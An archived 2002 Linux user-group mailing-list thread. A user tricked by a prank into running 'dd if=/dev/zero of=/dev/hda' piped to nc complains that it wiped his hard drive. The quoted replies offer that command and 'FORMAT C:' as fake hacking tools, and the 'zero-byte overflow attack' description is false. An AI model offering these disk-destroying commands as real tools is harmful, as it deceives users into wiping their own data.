I really hope you're not trolling too., If not, your data is probably not recoverable.
Theoritically it may be; but it would cost thousands and thousands to do so. Do a search for "data recovery" on google. One good one seems to be http://www.ibas.com/ Booth, Christopher (Aus) - ATP wrote: > Ay Caramba > > Does this do what I think it does and is equivalent to format c: in dos ? > > There should have been some warning to this, as not everyone is familiar > with the dd command (including me) > > I stupidly as a joke tried this, thinking that the nc command would actually > do what was thought. > > Please remember that there are newbies and stubies here > > I've no idea if what I've done is fixable, but I'm not happy if I've lost > all my data on my hard drive. > I don't care about programs but my personal stuff is hard to replace. > > While it may be fun to take the mickey out of Osama, if you lost all your > personal data, and didn't have a backup mechanism available to restore it > from, would you be happy ? > > Disappointedly > > Chris > -----Original Message----- > From: Daniel Stone [mailto:[EMAIL PROTECTED]] > Sent: Wednesday, 17 April 2002 8:19 PM > To: Matthew Sanderson > Cc: OSAMA; [EMAIL PROTECTED] > Subject: Re: [SLUG] i need a sofware to penetrate in to systems > > > On Tue, Apr 16, 2002 at 11:52:19PM -0700, Matthew Sanderson wrote: > >>OSAMA, >> >>Try this command from a DOS prompt, it accesses the CIA and FBI's websites >>and lets you access the restricted area: >> >>FORMAT C: > > > But seriously, I suggest: > dd if=/dev/zero of=/dev/hda bs=1k | nc <host here> 65535 > > This is a zero-byte overflow attack - hosts on port 65535 are vulnerable > because that's near an overflow region! > > Have fun! > d > -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug